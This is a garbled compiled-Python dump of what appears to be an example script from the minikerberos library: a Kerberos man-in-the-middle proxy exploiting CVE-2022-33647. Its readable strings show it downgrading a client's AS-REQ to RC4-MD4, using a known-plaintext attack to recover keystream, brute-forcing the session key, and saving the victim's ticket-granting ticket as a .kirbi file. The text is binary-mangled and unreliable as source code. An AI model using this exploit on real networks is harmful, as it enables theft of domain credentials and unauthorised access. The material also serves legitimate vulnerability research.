o jC*@s4ddlZddlZddlZddlZddlmZmZmZmZm Z m Z m Z m Z m Z mZmZmZmZmZmZddlmZddlmZddlmZddlmZddlmZddlmZm Z d d Z!e"#d e"#d e"#d e"#ddZ$d ddZ%ddZ&ddZ'ddZ(GdddZ)ddZ*ddZ+e,dkre+dSdS)!N)KerberosMessage METHOD_DATA ETYPE_INFO ETYPE_INFO2PA_DATA KRB_ERROR PrincipalName EncryptedData HostAddressAS_REQ EncryptionKey TicketFlags KrbCredInfoEncKrbCredPartKRB_CRED) PaDataType)KerberosCredential)KerberosTarget) KerberosSPN)AIOKerberosClient)Key_enctype_tablecCstddt||DS)NcSsg|]\}}||AqSr).0_a_brr/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/minikerberos/examples/CVE_2022_33647.py "szbyte_xor..)byteszip)ba1ba2rrrbyte_xor!sr"a1030201a1040202a1050203a1060204)dcs8t|ddfddtdtDS)Nz z csg|] }||qSrr)rikdnrrr-sz format_kirbi..r)base64 b64encodedecodejoinrangelen)datar/rr-r format_kirbi+s*r7cCsd|d}i}t||d<|d|d<|d|d<ttgd|d <||d <||d <|tjd d jdd|d<|tjd d jdd|d<|d|d<td d|dgd|d<i}t|g|d<i}d|d<t| |d<i}d|d<d|d<t ||d<|dg|d<t |S) N)keytypekeyvaluekeycrealmprealmcnamepname)z enc-pa-rep forwardable renewableinitial proxiableflagsauthtime starttime)daysr microsecondendtimez renew-tillsrealmkrbtgtz name-type name-stringsnamez ticket-infoetypecipherpvnomsg-typeenc-parttickettickets) r r setdatetime timedeltareplacerrrdumpr r)tgt sessionkeynowkeydcititetrrr tgt_to_kirbi0s2     rgcCst|}|dkr td|d}|d}|dkr!|jdddd}n|dkr0d |jdddd}n d |jd ddd}|dkrG|jdddd}n|dkrVd |jdddd}n d |jd ddd}d |d |dS)NNOrGbigF byteordersignedy0s 0)r5 Exceptionto_bytes)rR data_length first_len second_lenflslrrrcalc_known_plaintextQs r|cCs>g}tdD]}dd|jddddd}|t|q|S) N2rGsrrrkFrl)z addr-typeaddress)r4rvappendr )hostsxhdrrrget_padding_datais rc@s6eZdZd ddZddZddZdd Zd d Zd S) KerberosProxyXcCs||_||_||_||_dSN)dc_ipdc_port listen_ip listen_port)selfrrrrrrr__init__ws zKerberosProxy.__init__c sz'|dIdH}tj|ddd}||IdH}t|}|j}|||dfWSty@}z ddd|fWYd}~Sd}~ww)NrjrkFrl) readexactlyint from_bytesrloadnativeru)rreader ticketlenraw ticketlen ticketdatarX ticketnativeerrr read_ticket}s zKerberosProxy.read_ticketc sfzt|jdddd}||||IdHWdSty2}z d|fWYd}~Sd}~ww)NrjrkFrlTN)r5rvwritedrainru)rwriterrtlenrrrr send_ticketszKerberosProxy.send_ticketc) sd}zՐz|d}d|d|df}td|||IdH\}}}} | dur.| |ddkrLtd|dWW|durF||dS|d D] } | d d krpt| d j} | d dkrp| ddd} nqPtdtjtj j } |dd}t t j jt d digd}t d dd}t ddd}t ddd}||||g}dd| jdd| jd|tdd|gdt|d} t| }|||IdH\}} | dur| WW|dur||dStd|j|jft|j|jIdH\}}td td!t|dd"<t|}|||IdH\}} | dur.| td#||IdH\}}}} | durE| td$|d%ddd}t|d%ddd}t|d&kr{td'WW|duru||dStd(| td)|dd*| t|d}|t|d}t|t t| }t||}td+|td,|dd*td-|td.|td/|td0t!|j} t"}!|dd1d2d|!_#|dd|!_$d3|!_%t&|!| }"||"_'t(d4D]}#|#j)dd5d6d7}#||#d8}$td9|$||"_'t*d|"_+d|"_,t-d|$|"_.z |"/t01d:IdHWnt2yP}%zWYd}%~%qd}%~%wwtjtj j jdd} td;|$t3||$| }&td<tt4|&d=| 5d>}'td?|'t6|'d@ }(|(7|&Wdn 1swYWW|dur||dSWnt2y}%z t89WYd}%~%nd}%~%wwW|dur||dS|dur||w)ANpeernamez%s:%srrGz[+] Client connected from %srV z9[-] Not expected ticket arrived from client. Msg type: %spadata padata-typerr padata-valuerQr8rRz.[+] Downgrading Kerberos encryption to RC4_MD4zreq-bodyrealm)rrrSrIrMrN)rTrVstimesusecz error-coderrPze-dataz[+] Connecting to DC at %s:%sz[+] Connected to DC!z [+] Modifying original AS-REQ... addressesz$[+] Submitting original AS-REQ to DCz([+] Got AS-REP with the correct enctype!rWz1[-] AS-REP cipher data too short! Will not work..z[i] ENC TIMESTAMP: %sz[i] AS-REP CIPHER: %s@z[i] ENC BYTESTREAM : %sz[i] CIP BYTESTREAM : %sz[i] KNOWN PLAINTEXT : %sz[i] KEYSTREAM FROM TS: %sz[i] DEC KEY - 4 BYTES: %sz-[+] Guessing last bytes of the session key...r>rOArorkFrls z[i] GUESSING KEY: %szkrbtgt@test.corpz%[+] GUESSED CORRECTLY! SESSIONKEY: %sz[+] KIRBI DATA:z%s.kirbiz %Y%m%d_%H%M%Sz[+] Writing .kirbi file to: %swb):get_extra_infoprintrcloser rrr[ratimezoneutcrrrvaluer^r]rJrrrrrrasyncioopen_connectionrr r|r5hexr"ts_len_hdr_lookuprrusernamedomainpasswordr kerberos_TGTr4rvrkerberos_cipherkerberos_cipher_typerkerberos_session_keyget_TGSrfrom_upnrurgr7strftimeopenr traceback print_exc))rrrdcwriteraddrsaddrrrXrerrred enc_timestamprarpad1pad2pad3pad4md_dcreader modded_ticket rticketdatarticket rticketnative cipher_dataknown_plaintextts_bytes cipher_bytes keystreamdec_keytarget credentialclientr,keyguessrkirbifilenamefrrr handle_clients   }        G     3                  zKerberosProxy.handle_clientc sz6tj|j|j|jdIdH}|4IdH|IdHWdIdHWdS1IdHs0wYWdStyQ}ztd|fWYd}~Sd}~ww)N)hostportr) r start_serverrrr serve_foreverrurr)rserverrrrrrun!szKerberosProxy.runN)rr)__name__ __module__ __qualname__rrrrrrrrrrvs    rcsddl}|jdd}|jddd|jddtd d |jd d d d|jddtd d |}t|j|j|j|j }| IdHdS)Nrz(Kerberos proxy to exploit CVE-2022-33647) descriptiondcipz$IP/hostname of the domain controller)helpz --dc-portrz'Port of the Kerberos service on the DC.)defaulttyperz --listen-ipz 127.0.0.1z3IP/hostname to listen for incoming kerberos traffic)rrz --listen-port) argparseArgumentParser add_argumentr parse_argsrrrrrr)rparserargskprrramain,s rcCsttdSr)rrrrrrrmain8sr__main__)r+)-rrr[r0"minikerberos.protocol.asn1_structsrrrrrrrr r r r r rrrminikerberos.protocol.constantsrminikerberos.common.credsrminikerberos.common.targetrminikerberos.common.spnrminikerberos.aioclientr minikerberos.protocol.encryptionrrr"rfromhexrr7rgr|rrrrrrrrrs8D      ! 7